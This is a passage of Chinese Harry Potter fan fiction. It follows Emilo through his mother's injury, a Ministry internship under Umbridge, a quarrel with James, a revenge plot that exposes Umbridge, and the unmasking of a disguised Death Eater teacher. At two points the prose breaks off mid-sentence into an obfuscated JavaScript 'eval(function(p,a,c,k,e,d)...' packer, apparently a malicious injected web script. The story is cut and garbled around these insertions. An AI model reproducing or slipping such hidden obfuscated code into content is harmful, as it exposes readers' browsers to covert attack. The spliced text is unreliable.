“可怜的孩子……”她叹息着,声音哽咽,“我当时就在隔壁……太可怕了,那些蒙面的疯子……咒语到处乱飞……你妈妈……艾莲娜她……她当时本来可以躲到柜台后面的……”摩金夫人深吸一口气,似乎需要极大的勇气才能说出接下来的话,她看向埃米洛的眼神充满了痛惜,压低了声音:“是罗杰……混乱中,他为了推开一个朝他飞去的货架……把艾莲娜……推了出去……挡在了前面……正撞上那道……那道绿光后面的红光……” 她说不下去了,只是摇头,眼泪无声滑落,“哎……这个傻姑娘啊……一辈子,爱错了人……付出了一切……最后……” 埃米洛静静地听着,脸上没有任何表情,只有瞳孔深处仿佛有冰层在无声地碎裂、塌陷。他机械地向摩金夫人道了谢,感谢她救了母亲。又郑重地向一直守候的麦格教授和庞弗雷夫人表达了感激。当所有人都离开,病房里只剩下仪器单调的滴答声和母亲微弱到几乎感觉不到的呼吸时,埃米洛缓缓地、缓缓地蹲了下来,背靠着冰冷的病房墙壁,蜷缩在阴影里。 巨大的空虚感像黑色的潮水,瞬间将他淹没。那些支撑了他一年多的、对原生家庭的恨意,那些日日夜夜灼烧着他的愤怒和不甘,此刻仿佛被一只无形的手猛地抽走了。 恨吗?当然恨过。但此刻,当一切尘埃落定,母亲濒死,父亲彻底暴露了卑劣的本性,他发现自己心中翻涌的,却只剩下梦境中那片金光闪闪的海滩,那六只深深浅浅的脚印,那被高高抛起时的、无忧无虑的欢笑……那些被他强行压制在心底最深处的、闪着微光的碎片,此刻却异常清晰地浮现出来,带着尖锐的讽刺和无法挽回的悲伤。 他像个被遗弃在荒原的孩子,环顾四周,只有一片狼藉。他开始怀疑,自己是不是真的被命运诅咒了?每一次,当他以为爬过了一个坎,以为终于可以喘息一下,更深的黑暗和更沉重的打击就会接踵而至…… 七月中旬,魔法部的实习生报道日。法律执行司的实习生办公室弥漫着一股新油漆和紧张期待混合的味道。四个新人:埃米洛·德蒙特(格兰芬多,六年级,OWLs 成绩耀眼,麦格教授力荐),伯莎·乔金斯(拉文克劳,七年级,弗立维教授推荐,以“记忆力超绝”闻名),阿米莉亚·伯恩斯(赫奇帕奇,六年级,叔叔是有名的傲罗),奥古斯都·亚克斯利(斯莱特林,七年级,家族在魔法部根基深厚)。 他们的顶头上司是巴蒂·克劳奇,但这位司长显然无暇顾及实习生。真正管理他们的是小领导多洛雷斯·乌姆里奇。她穿着那身标志性的、令人不适的粉红色针织开衫,戴着粉红色蝴蝶结发卡,脸上挂着甜腻得发腻的笑容。 “欢迎,我亲爱的孩子们!”她的声音像掺了蜜糖的毒药,高亢而虚假,“能指导你们这些魔法界的未来之星,真是我的荣幸!让我们互相了解,好好相处吧!” 她挨个握手,肥短的手指带着湿冷的触感。轮到埃米洛和伯莎时,她那双癞蛤蟆般的鼓眼睛在他们脸上停留得更久,笑容更深,问题也更多:“哦,德蒙特?哎呀,我认识你的母亲……改天我们一起出来叙旧……” “乔金斯小姐?我好像听说过……弗立维教授的高徒?父亲是麻瓜?怎么生出这么聪明的好孩子……” 本来“认识艾莲娜”这个特点让埃米洛对她亲近了一瞬,但马上,他发现这位上司并不喜欢他,分工也显出了赤裸裸的不公——伯恩斯和亚克斯利被分配去整理克劳奇司长的讲话稿、参与(哪怕是旁听)一些无关紧要的司内会议,接触的都是光鲜的、能写在履历上的工作。而埃米洛和伯莎,则被无情地塞进了最繁琐、最消耗精力、也最看不到成果的苦差事:被派往“禁止滥用魔法办公室”,盯着一面巨大的、布满密密麻麻光点的魔法地图一整天,监测全英国未成年巫师的踪丝反应,眼睛酸涩得流泪;或者更糟,被派去安抚那些在近期“不明袭击”中牺牲的傲罗家属——面对一张张悲痛欲绝、愤怒质问的脸,听着他们绝望的哭诉和对魔法部无能的控诉,而他们能做的只有递上微薄的抚恤金通知单,说着苍白无力的官方套话。 “我十分抱歉……”他不知道多少次这么说道,头垂的很低。 谁来跟我说抱歉?苦涩的味道在埃米洛口中弥漫开来。 …… 多洛雷斯·乌姆里奇那张甜腻的笑脸,她身上那股廉价香水混合着权力欲的刺鼻气味,无时无刻不在刺激着埃米洛紧绷的神经。她每一次对着上司克劳奇(甚至对着职位稍高的同僚)露出的那种刻意夸张的、带着谄媚和算计的笑容,都像一根淬毒的针,狠狠扎进埃米洛的记忆深处。 太像了。 那笑容,那为了往上爬而精心钻营、曲意逢迎的姿态,与他记忆里罗杰·德蒙特太像了!只不过,乌姆里奇披着粉红色的、体面的外衣,而他的父亲则赤裸裸地暴露着卑劣。但内核是一样的:为了利益,可以毫无尊严地弯腰,可以毫不犹豫地践踏他人。 每一次看到乌姆里奇用那甜得发腻的声音恭维克劳奇,埃米洛胃里就一阵翻江倒海,仿佛又看到了父亲当时对着债主赌咒发誓“下次一定翻本”的丑态。这种联想带来的生理性厌恶和愤怒,几乎要冲破他冰冷外壳的束缚。 又过了几日,他去圣芒戈探望艾莲娜的时候,遇到了詹姆。 詹姆是特地来找他的,一贯活泼的声音穿透了病房外压抑的寂静:“埃米洛!嘿!原来你在这儿!” “走廊不许大声喧哗!”一位护士严肃的对他们说。 “嘿嘿……对不起啊。”詹姆吐了吐舌头,两个人找了一个能说话的地方。 两个人并排蹲在圣芒戈阁楼那扇狭窄的窗户前。 “找了你好久!麦格教授说你在这里……我听说了你家里的事情……听着,这个暑假,你必须跟我回家住!你也知道我家放得下你,我爸妈也早就想再见见你了!” 埃米洛的身体几不可察地僵了一下。 “住在你家?”他终于开口,声音飘忽。 “是啊!”詹姆用力点头,黑发乱糟糟地晃动着,“我可是专门找麦格教授问了你家……呃,情况。她说了你妈妈的事,还有……总之,你不能一个人待着!”他顿了顿,脸上露出一丝兴奋,“而且,小天狼星这个暑假也会来!他下定决心了,彻底脱离他们家!酷吧?我们还可以再邀请莱姆斯和彼得……嗯,莱姆斯可以过一段时间再找他,他和小天狼星……咳,还有点小尴尬……” 他像是想起什么,语气变得更加轻快:“对了对了!还有个好消息!莉莉!莉莉终于跟那个鼻涕精斯内普绝交了!彻彻底底!哈哈哈哈哈!我早就说过,那家伙就是个——” “他是真的邪恶,”詹姆的声音里充满了鄙夷,“莉莉早该看清他是什么人了!他连内裤都是黑的!他还叫她‘泥——’呸呸呸!”他猛地刹住那个侮辱性的词汇,似乎觉得在埃米洛面前说不妥,然后才后知后觉地发现对方的沉默,“……嘿?你在听我说话吗?埃米洛?” 午后的阳光异常猛烈,毫无遮挡地倾泻进来,像熔化的金子,将埃米洛本就苍白的脸映照得近乎透明,皮肤下的青色血管清晰可见。他整个人仿佛要被这过于耀眼的光芒晒得融化、蒸发掉。 他的眼珠极其缓慢地转动了一下,视线没有焦点地落在窗外漂浮的云上,声音轻得像叹息: “……你们对斯内普做了什么?” “呃……”詹姆的表情瞬间有些不自然,带着点恶作剧被抓包的心虚,随即又被一种理直气壮的厌恶取代,“一个小玩笑?不,这不重要!重要的是莉莉终于摆脱他了!他活该!” “黑色的内裤……倒挂金钟,是么?”埃米洛终于转过头,那双无机质般的、冰冷的灰蓝色眼眸直直地看向詹姆,阳光在其中折射不出任何暖意,“去年学校里那个流行了好一阵的恶作剧咒语。” “你知道这个咒语的发明者是斯内普吗?你们用他的咒语对付他?” 詹姆的表情僵住了,非常意外:“你……你说什么?”他顿了几秒,随即脸上涌起更深的厌恶,“哦……是他发明的?那这个咒语以后不能用了,脏了手。”他嫌弃地甩了甩手。 埃米洛不知道为什么心里难受起来,闭上了眼睛。 “如果我也在斯莱特林,你是不是也会像对付斯内普这样对我?用倒挂金钟,或者别的什么……‘小玩笑’?” “……你在说什么?”詹姆的声音陡然拔高,充满了荒谬感和一丝被冒犯的恼怒,“不是,埃米洛,你怎么会在斯莱特林呢?你跟我们一样是格兰芬多啊!” “……我不会那样对你的,”詹姆的声音压低了些,带着一种急于澄清的急促,“你又不……你又不沉迷于那些……邪恶的黑魔法!你跟他们不一样!” 所以为什么难受呢?是嫉妒么?詹姆·波特拥有的一切——充满爱的家庭、无需担忧的财富、想与谁做朋友就对谁好、想追求谁就追求谁……这一切对埃米洛来说,都像是另一个世界遥不可及的幻梦。 他一直告诫自己,嫉妒是丑陋的,是不该有的,要专注于自己的生活。他甚至会用詹姆的天真来刺激自己:“他能做到的,我凭什么不行?” 但此刻,这种自我鞭策显得如此苍白可笑。 是的,应对自己的生活,即使再艰难,他也能咬着牙走下去。但让他痛苦到几乎崩溃的,是去“正视”别人的幸福。尤其是当这份幸福包裹着真诚的、试图靠近他的“好意”时。那种光芒,像探照灯,将他生活的泥泞、残缺和不堪照得无所遁形,让他自惭形秽,更让他心底滋生出扭曲的、想要摧毁那光芒的阴暗冲动…… “所以,你用‘是否沉迷黑魔法’来区分谁值得被友善对待,谁可以被肆意羞辱。”埃米洛重新睁开眼睛:“那按照这个标准,你也应该远离小天狼星·布莱克,还有莱姆斯·卢平。” 詹姆的脸色变了。 “布莱克家族是干什么勾当的,整个魔法界都心知肚明。你真的觉得小天狼星就‘正常’吗?”埃米洛的声音像毒蛇吐信,精准地刺向詹姆最不愿意面对的角落,“你没有发现吗?他对‘人命’看得太轻了。在尖叫棚屋那件事上……”他刻意停顿,看到詹姆的脸瞬间血色尽褪,“……他拿西弗勒斯·斯内普的命当作取悦你的筹码,一个‘玩笑’的代价。就算他现在是格兰芬多,你见过其他斯莱特林的人——哪怕是那些最激进的——如此轻描淡写地拿同学的性命开玩笑吗?他骨子里的那种……冷酷,你真的视而不见?” “住口!埃米洛!”詹姆猛地站起来,胸膛剧烈起伏,镜片后的眼睛因为愤怒和某种被戳穿的恐慌而布满血丝,“你怎么能……你怎么能这样质疑小天狼星?他是我的兄弟!我们一起生活了五年了!他已经下定决心脱离布莱克家了!你知道这……这需要多大的勇气吗?这多难啊!”他的声音里充满了被背叛的痛苦和难以置信。 “五年?”埃米洛也缓缓站起身,动作带着一种疲惫的滞涩感,他嘴角勾起一抹极淡、极冷的、近乎怜悯的弧度,“他和他的家人生活了十年算什么?真的有人能完全拜托家庭的影响吗!” “而且你真的觉得我们很熟吗?我和小天狼星之间,依然在用姓氏称呼对方吗?布莱克?德蒙特?我们什么时候像和你、莱姆斯那样,跟他互称教名了?” 詹姆像是被重击了一下,愣住了。这个问题,他从未细想过。 “那是因为……你们不经常一起玩,你总是……拒绝我们。”他吞了一口吐沫,语气很缓慢。 “哦,”埃米洛看着他呆滞的表情,一种混合着自毁和报复的、极其恶劣的快意涌上心头:“你是这么想的,真的……只是因为我‘总是拒绝’这么简单的原因吗,你确定他不是只有你一个朋友么?” 刺伤詹姆让他心里拥有了恶劣的快意,这不仅仅是嫉妒,而是他讨厌詹姆这种天真。像是飞蛾讨厌吸引着自己的火烛。 --- 乌姆里奇的“茶话会”无疑是令人恐惧的。如果交上去的报告稍有瑕疵——比如家属的抱怨记录得不够“委婉”,或者地图监测记录里某个光点异常波动的原因分析得不够“符合部里当前安全形势宣传基调”——就会被召唤进那间充满甜腻香水味和粉色蕾丝装饰的办公室。 “亲爱的,我想我们需要谈谈你对工作的……理解。”乌姆里奇会甜甜地说着,示意他坐下,然后拿出那支邪恶的羽毛笔——一支会自动书写、笔尖锐利如针的黑色羽毛笔。 “惩罚不是体罚,而是“自我检讨”哦~。” 受罚者需要用这支笔在特制的羊皮纸上写下“我须认真履行职责”。每一个字母刻在纸上的同时,也以完全相同的形态、带着灼烧般的剧痛,深深烙印在书写者的手背上。写完后,羊皮纸上的字迹消失,仿佛一切从未发生,只留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可惜把天赋都浪费在了过早的婚姻上。早早被家庭琐事和孩子拖累,再好的天赋也埋没了。看看现在……”乌姆里奇意有所指地扫了一眼埃米洛苍白瘦削的脸和洗得发白的旧袍子,发出一声假惺惺的叹息,“生活想必很艰难吧?所以我说啊,女孩子,眼光要放长远,要懂得经营自己,为自己争取……而不是一头扎进爱情的幻想里,葬送掉所有可能的前程。你母亲,就是个……嗯……活生生的教训呢,亲爱的。” 每一个字,都像淬了盐的鞭子,狠狠抽在埃米洛心上。艾莲娜还在圣芒戈病床上奄奄一息,她年轻时可能存在的梦想和温柔,在乌姆里奇口中变成了一个愚蠢的、可供反面教育的“教训”! 埃米洛低着头,死死咬住牙关,才没有让眼中的冰封碎裂,暴露出里面翻腾的杀意。他看着乌姆里奇那张涂着厚厚脂粉、写满虚伪优越感的脸,心中那个冰冷的计划瞬间被注入了滚烫的岩浆。 ------ “……我记得,你三年级的时候,因为热衷于打听和传播各种小道消息,被邓布利多校长教育过?弗立维教授好像也扣了拉文克劳不少分。”埃米洛的声音很轻,打断了伯莎的茫然。 伯莎的脸瞬间涨得通红,带着羞愤:“这……这是说这个的时候吗!那之后!我就!改了!我发誓!”她急于辩解。 “你为什么不继续呢?”埃米洛的语调没有任何起伏,像是在陈述一个客观事实。 “什……什么?”伯莎完全懵了。 “我觉得你应该继续,乔金斯学姐。”埃米洛的眼中那片冻土般的决心更加清晰,“这是你的天赋,你的优势。不是所有人都能像你一样,迅速地捕捉信息,记住这些……自然地融入各种群体,让别人在不经意间对你敞开心扉……你想要投诉乌姆里奇,光有愤怒不够。你需要武器。武器藏在人群里。” 他凑到伯莎的耳边,更加压低了声音:“就在这里。我们只是一条小鱼,没人会防备我们,没人会觉得我们能翻起什么浪。了解你的敌人,了解她的弱点,了解她害怕什么、想要什么……这不是八卦,这是情报。情报,就是力量。”他顿了顿,声音带着一种金属般的冰冷质感,“找出她最害怕暴露的东西,找出能让她苦心经营的一切彻底崩塌的裂缝……然后,我们把它撕开。” 伯莎·乔金斯,这个以聪明好奇著称的拉文克劳,眼睛猛地亮了起来。她脸上的羞愤迅速褪去,嘴角慢慢向上弯起,露出了一个心照不宣的、带着猎人般精准的、仿佛终于找到通关秘籍的笑容。 埃米洛知道,她已经完全明白了该怎么做,而且会做得比他预想的更彻底。拉文克劳的开悟总是迅速而高效,尤其是在嗅到了能精准打击目标的契机时。 ——— 八月末的一天,魔法部中庭那架巨大的魔法升降梯附近,正是午休时人流最密集的时刻。突然,一个被魔法放大了无数倍、清晰得刺耳的声音毫无征兆地响彻了整个空间,盖过了所有的交谈声和脚步声: 一个刻意压低、却因激动而微微变调的女声(乌姆里奇):“……你这样的身份,是给我丢脸的!你叫我之后怎么办?让别人觉得我是一个……一个清洁工的女儿?!” “谁?!”人群议论纷纷。 “乌姆里奇!哈哈!我早看她不爽了!” “乌姆里奇?这是谁?” “克劳奇手下的!那个总穿粉衣服的老女人!” 紧接着一个苍老、懦弱、带着哭腔的男声(乌姆里奇父亲):“多莉……我……我只是想来看看你工作的地方……” “看看?!看看就能改变事实吗?!听我的话,父亲!我打听到了,我的上司克劳奇司长,他和他妻子的关系很差……非常差!他现在很信任我,我也许……有机会……我会让他痴迷于我!这是千载难逢的机会!唯一阻碍我的就是您了!我需要塑造一个出身威森加摩法官家庭的背景!一个体面的、有底蕴的出身!您不能在这时候出现,不能让人知道我的父亲是个……是个哑炮清洁工!明白吗?!” “可是多莉……” 乌姆里奇的声音冷酷、斩钉截铁:“没有可是!记住我的话!现在,立刻,回你的小屋去!没有我的允许,不准再靠近魔法部一步!等我……等我爬得足够高,或许……或许会给你安排一个体面点的养老地方。现在,你只能靠我了不是吗?那个麻瓜女人抛弃你跑了!只有我能给你口饭吃!所以,按我说的做!为了我,也为了你那点可怜的晚年!” 死一般的寂静笼罩了中庭。紧接着,是压抑不住的、如同潮水般汹涌的窃窃私语。无数道目光,震惊的、鄙夷的、幸灾乐祸的,齐刷刷地投向正从一部升降梯里走出来的多洛雷斯·乌姆里奇。她脸上的甜腻笑容彻底僵死,粉红色的开衫下,身体像筛糠一样剧烈颤抖,脸色由红转白,最后变成死灰。 不远处,巴蒂·克劳奇司长的脸铁青得如同暴风雨前的乌云。他一生最看重名誉、纪律,而他身边竟然有一个女人想要……! 处理的速度快得惊人。就在当天下午,一份冰冷的调令就摆在了乌姆里奇的桌上——她被即刻调离法律执行司核心岗位,发配到“魔法生物管理控制司”下属一个专门处理“骚扰性魔法害虫”(比如狐媚子)的、无人问津的边缘办公室。她的魔法部晋升之路,在众目睽睽之下,被这段录音彻底斩断。 消息传来时,实习生办公室里一片欢腾伯莎兴奋得满脸通红,像打了胜仗的将军,一阵风似的冲进来,想要拥抱埃米洛分享喜悦:“埃米洛!你看到了吗?!太棒了!我们成功了!走!我请你吃……” “埃米洛呢?”她环顾四周,只看到正在收拾东西的阿米莉亚。 阿米莉亚耸耸肩,指了指外面:“不知道啊……他好像去厕所了……” ------ 魔法部的男厕所里。埃米洛反锁了隔间的门,身体佝偻着趴在冰冷的水箱上,胃部剧烈地痉挛。 “呕——咳咳……”他干呕着,喉咙里火烧火燎,只有酸涩的胆汁不断上涌。刚才听到乌姆里奇被当众羞辱、克劳奇铁青着脸签下调令的那一刻,一股巨大的、几乎让他战栗的快意如同高压电流般瞬间窜遍全身!那感觉如此强烈,如此甜美,带着一种毁灭性的力量,让他瞬间沉溺其中。他看到了周围人脸上的震惊、鄙夷和幸灾乐祸,看到那个高高在上、随意践踏他们、侮辱他母亲的虚伪女人像小丑一样跌落尘埃,一种前所未有的、近乎神明般的掌控感攫住了他——我做到了。我操控了这一切。我把她踩在了脚下。我为母亲讨回了一点……扭曲的公道。我撕碎了那张酷似父亲的谄媚嘴脸。 但这快感只持续了短短几秒,随之而来的就是排山倒海的恶心和自我厌恶,像冰冷的污水将他淹没。他扶着水箱边缘的手指关节因用力而发白,身体控制不住地颤抖。 权利……控制……压迫…… 这些他最深恶痛绝、让他家破人亡的东西,此刻却像甜蜜的毒药,通过“报复”的快感,悄然渗入了他的血脉。他利用了伯莎的天赋,精准地找到了敌人的弱点,冷酷地将其引爆,达到了目的。他成功了,但品尝到的胜利滋味,却让他感到前所未有的肮脏和恐惧。他为了报复一个卑劣者,自己也使用了同样精准而冷酷的手段。 他看着隔间门上斑驳的油漆,仿佛看到了父亲赌博输钱后狰狞的脸,看到了翻倒巷债主阴鸷的眼神,看到了乌姆里奇粉红色伪装下的恶毒,也看到了……镜子里的自己,三年级的噩梦再次排山倒海的翻出。 梦里那颗扭曲的,被砸烂的头被乌姆里奇铁青的脸代替…… 他无法遏制地再次干呕起来,冷汗浸透了他的衬衫。名为“权力”和“以其人之道还治其人之身”的深渊,已经向他张开了诱惑的巨口。而他在厌恶与渴望、复仇的快感与道德的崩塌之间剧烈撕扯,正无可挽回地向其滑落。 10. 一道反咒语 五年级末那场针对对角巷的惨烈袭击,像一盆冰水浇灭了魔法界残存的侥幸。战争的铁幕不再遮掩,赤裸裸地压了下来。埃米洛推着行李车穿过九又四分之三车站的隔墙时,扑面而来的不是往年的喧嚣与活力,而是一种令人窒息的压抑和空旷。 站台上明显少了许多熟悉的面孔。那些曾经追逐打闹的身影、依依不舍拥抱的父母、兴奋谈论假期的声音,都像被无形的橡皮擦抹去了一大片。留下的空位触目惊心,沉默像冰冷的雾气弥漫在蒸汽与人群之上。 恐惧,以及恐惧催生的“明智选择”——退学、躲藏、逃离——成为了新的主旋律。 莉莉站在站台边缘,她的脸色比平时苍白,紧抿着嘴唇,那双总是充满坚定与活力的绿眼睛里蒙着一层深重的悲伤。她看见埃米洛走近,深吸了一口气,努力想挤出一个笑容,却只牵动出一个苦涩的弧度。 “埃米洛……”她的声音有些沙哑,递过来一个淡蓝色的信封,“玛丽……玛丽退学了。她和父母决定……离开英国。”莉莉的声音哽了一下,“她让我把这个给你。” 埃米洛的目光落在信封上。玛丽·麦克唐纳……那个眼睛圆溜溜,眼尾总是温柔下垂的姑娘,像一只受惊的小鹿,总是带着点怯生生的善意。他沉默地接过信,指尖触到微凉的纸张,没有询问,只是动作近乎机械地将它塞进了自己破旧皮箱的夹层深处。 他和莉莉,以及同行的伯莎,找了一个相对安静的隔间坐下。莉莉作为级长,很快就被职责召唤去巡视车厢,留下埃米洛和伯莎在沉默中听着车轮碾压铁轨的单调声响。车厢里弥漫着一种不同以往的紧张气氛,连窗外的景色似乎都笼罩着一层灰暗的滤镜。 门被小心翼翼地拉开一条缝,彼得圆胖的脸探了进来,带着惯有的怯懦和一丝慌乱。“呃……嗨……我能坐这里吗?”他气喘吁吁,眼神躲闪,“詹姆和小天狼星……我找不见他们……莱姆斯去巡逻了……” “当然,请进!”伯莎好奇的看着他:“你是掠夺者里的那个‘虫尾巴’!” “对!是……是我!”彼得的脸上瞬间涌起一阵红晕,声音因为突如其来的关注而变得尖细,带着点受宠若惊的激动。要知道,在掠夺者其他人耀眼的光环下,他几乎从未单独被女孩这样指名道姓地关注过。 “为什么叫‘虫尾巴’呢?”伯莎好奇地追问,身体微微前倾,“你们其他人的称呼也很奇怪,‘尖头叉子’、‘大脚板’、‘月亮脸’……” “就……就是瞎取的啦……”彼得的脸更红了,手指无意识地绞在一起。他不敢看伯莎的眼睛,视线只落在她蓝色的拉文克劳领带上。过了一会儿,他似乎想找回点底气,故作镇定地清了清嗓子,压低声音,带着点分享秘密的意味:“其实是……守护神!你知道守护神咒吗?”他试探性地问。 “我当然知道啦!”伯莎的眼睛一下子亮了起来,像发现了新大陆,“我们拉文克劳当然知道……难道你会?” 连一直心不在焉、随手翻着那本厚重的《魔法部历史》的埃米洛,也抬起了头,目光落在了这个他几乎没怎么认真交谈过的室友身上。 彼得被两人注视的目光弄得更加紧张,握着魔杖的右手明显在发抖。他深吸一口气,集中精神:“呼神护卫(Expecto Patronum)!”第一遍,魔杖尖只冒出一缕微弱的、几乎看不见的白烟,很快消散在空气中。伯莎期待的眼神转为一丝怀疑,但她忍住了没出声。 “我……再让我试一遍……”彼得的声音带着哭腔,额头渗出汗珠。他感觉自己要在难得的关注面前彻底搞砸了。 “这里没人催你呀。”伯莎轻声嘟囔着,目光紧紧盯着他的杖尖。 第二遍,魔杖尖终于飘出一缕凝实了些的白雾,像一小团棉花糖。 “有了!有了!”伯莎兴奋地小声叫道,“下一遍一定行!搞快点搞快点!”她鼓励地看着彼得。 彼得用力闭上眼睛,似乎在脑海中拼命搜寻着最快乐的片段,然后几乎是带着孤注一掷的决心喊出:“呼神护卫(Expecto Patronum)!” 这一次,杖尖银光暴涨!一只小巧、灵活、皮毛闪着银光的小老鼠从光芒中跃然而出!它欢快地在狭窄的车厢里绕着圈奔跑,动作轻盈迅捷。它甚至调皮地在埃米洛摊开的《魔法部历史》封皮上短暂停留了一下,留下一点微凉的银光印记,接着像发现了更有趣的目标,猛地窜向伯莎,轻盈地跳上了她的肩膀,在她惊讶地伸出手想要抚摸它时,才化作点点银光消散在空气中。 “哇哦!你真是有一手!”伯莎由衷地赞叹道,脸上洋溢着兴奋的光芒,“这太棒了!教教我呗?我也想学!” “哦……好,好啊,”彼得的脸红得像熟透的番茄,声音因激动而发颤,“首先要……要集中精神,回想一段真正快乐的记忆……要非常具体,非常强烈的那种……” 埃米洛默默收回了目光,重新落回书页上,但那些字迹似乎模糊了。守护神咒,一个极其强大、极其依赖内心光明与快乐的魔法。OWLs考试上若能成功施展,无疑是耀眼的加分项。他去年也尝试练习过,但很快就放弃了。那些试图召唤快乐的记忆碎片,在现实的冰冷映照下,总是显得苍白无力,如同隔着一层厚厚的毛玻璃,无法触及核心,更无法点燃足以召唤守护神的纯粹喜悦之火。 车厢在轨道上规律地摇晃着。伯莎兴致勃勃地向彼得讨教着守护神咒的要诀,彼得的声音因被重视而充满了前所未有的活力。埃米洛闭上了眼睛,疲惫感如同潮水般涌来。在摇晃的黑暗中,梦境再次不期而至——这次是小时候家里的烘焙房,温暖香甜的气息,母亲艾莲娜沾着面粉的温柔笑脸……自从这个暑假,那些被强行封存的童年片段就不断在梦中侵扰他。制造快乐的能力,召唤光明守护的力量,这似乎是一种与生俱来的天赋。而他在清醒的时候,仿佛已经被“快乐”这位女神彻底遗弃了。 这个暑假,他开始多梦。唯有在不受控制的梦境深处,才能短暂地、模糊地窥见那早已破碎消散的温暖一隅,放任自己感受快乐。 ——— 六年级的课程表上多了一门引人瞩目的选修:炼金术。这门古老而神秘的学科,象征着对物质本质的探索与转化,其门槛也如同它研究的黄金一般昂贵——不仅需要极高的天赋和深厚的魔法理论基础,更需要大量的稀有材料进行实践,这意味着它天然地只向有足够财力支撑的学生敞开大门。 埃米洛的目光在课程简介上停留了片刻,那上面描绘的点石成金、制作魔法石的诱人图景与他无关。他平静地划掉了这个选项。詹姆、小天狼星、莱姆斯,彼得——都兴致勃勃地报了名。暑假里他故意刺激詹姆的话显然是没有任何的作用——他们的关系更好了。小天狼星的床头柜上放了一张崭新的照片:照片里,他和詹姆共骑着一辆线条狂野的飞天摩托,背景是辽阔的天空,两人眼中迸发着无拘无束、近乎燃烧的光芒。 卡洛教授依旧每天在课堂上发表着对麻瓜充满侮辱性的言论。莉莉作为麻瓜出身巫师的代表,依旧逻辑清晰、言辞犀利地反驳他,好几次将他那套陈腐偏激的理论驳斥得哑口无言,脸色铁青。 作为莉莉的追求者,也自诩为学校里正义的化身,詹姆自然对卡洛厌恶至极。掠夺者们似乎找到了新的乐子。没人知道他们具体用了什么办法(也许是新奇的咒语,或者一个足够刺激的恶作剧点子),总之,他们成功说服了皮皮鬼。于是,卡洛教授在城堡里的日子变得异常“精彩”:当他穿过走廊时,从天而降的冰冷水球总能精准地浇透他的头发;当他准备享用午餐时,不知从哪个角落飞来的臭气熏天的粪蛋会在他的餐盘旁炸开;甚至在他试图躲进安静的角落时,画像们也会突然用滑稽的腔调复述他那些歧视麻瓜的言论。这个可怜(或者说可恨)的老师每天都显得狼狈不堪,精神恍惚,袍子上总带着可疑的污渍和难闻的气味。 ————— 一天晚上,埃米洛像往常一样走向礼堂。还没有靠近大门,一股巨大的人潮尖叫着、推搡着向他迎面涌来!人群像受惊的兽群,乱成一锅粥,互相推挤踩踏。 埃米洛一把扶住一个被撞倒在地、吓得哇哇大哭的一年级赫奇帕奇新生,将他瘦小的身体护在自己身前,用胳膊和身体作为屏障,艰难地逆着混乱的人流,将这个吓坏了的孩子拉离了最危险的门口区域。 混乱中,他看到了阿米莉亚。她作为赫奇帕奇的级长正站在一张长凳上,脸色异常严峻,努力挥舞着手臂,用尽可能清晰有力的声音指挥着惊恐的学生们有序撤离。 “阿米莉亚!”埃米洛护着孩子挤到她附近,不得不大声喊道,“发生了什么?” 阿米莉亚看到他,声音同样盖过嘈杂:“你的好室友!詹姆·波特!当着所有人的面!炸掉了卡洛教授左手的袖子!”她的声音里充满了震惊和愤怒。 紧接着,她的下一句话像一道冰冷的霹雳,狠狠劈中了埃米洛: “卡洛教授是食死徒!那个黑魔标记!就在他左臂上!” “什么?!”埃米洛的心脏猛地一沉,仿佛被一只无形的手攥紧,“他不是魔法部派来的吗?怎么会……” 巨大的荒谬感攫住了他。 人群还在闹哄哄地涌向楼梯,奔向相对安全的塔楼。埃米洛将怀里的孩子交给旁边一位高年级赫奇帕奇学生,然后深吸一口气,逆着恐慌的人流,再次挤向礼堂大门。他从门缝中探进头去。 里面的景象触目惊心:长桌被撞歪,食物和餐具洒落一地。几位教授——麦格、弗立维、斯拉格霍恩——已经用魔杖控制住了场面。被围在中间的,正是那个狼狈不堪的“卡洛教授”。他左臂的袖子被炸得粉碎,裸露的皮肤上,一个丑陋的、扭曲的、仿佛由无数毒蛇缠绕而成的骷髅图案——黑魔标记——正狰狞地烙印在那里,像一道无法洗刷的罪恶烙印!他脸上再也没有了平日的傲慢或伪装出的狼狈,只剩下被揭穿后的绝望和怨毒。 几天后,真相如同投入死水的巨石,在霍格沃茨激起了滔天巨浪和更深的寒潮:真正的卡洛教授早已遇害。这个在城堡里潜伏、散播毒素、甚至可能伺机作恶的家伙,是一个使用了复方汤剂的食死徒! 霍格沃茨已经被食死徒无声无息地渗入了!这个认知像瘟疫一样在学生中蔓延开来,彻底粉碎了残存的安全感。 恐慌迅速发酵,演变成猜忌、指责和更尖锐的对立。矛头首先指向了斯莱特林:“肯定是那些食死徒预备役!是他们把假教授放进来的!”“斯莱特林公共休息室就在地窖,谁知道他们密谋什么!” 同时,另一些极端的声音则将矛头指向了麻瓜出身者:“都是因为他们!食死徒的目标就是他们!如果他们都退学了,霍格沃兹就不会有任何问题!” 校园的气氛变得前所未有的紧张和压抑。不仅仅是麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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药剂呈现出珍珠母的光泽,伴随着螺旋上升的烟雾…… 埃米洛看着那烟雾,不动声色的将目光转向旁边人的侧脸。 “你闻到了什么?” 他趁着西弗勒斯发呆的间隙发问,眼神是锐利的探究—— 西弗勒斯搅拌的动作几不可察地顿了一下,下意识地低声回答:“青草……湖水……百合花……” 话一出口,他似乎立刻意识到自己泄露了什么,猛地抬起头,黑眼睛里闪过一丝懊恼和警惕,看向埃米洛的眼神瞬间变得像在看一头闯入实验室的愚蠢巨怪,“等一下,我为什么要告诉你?德蒙特,管好你自己的坩埚!” 埃米洛没有再追问。但那天结束后,当西弗勒斯收拾好东西,像一道黑色的阴影般快速离开教室时,埃米洛在原地站了一会儿,然后下定决心一般,飞快的跟了上去。 脚步声在地窖冰冷石壁间回荡,两个人一前一后,越走越快,你追我赶一般近乎要跑起来。 直到一个相对僻静的转角,埃米洛猛地拽住了前面人的袖子,正好是左手,那里目前,还是白皙光洁的。 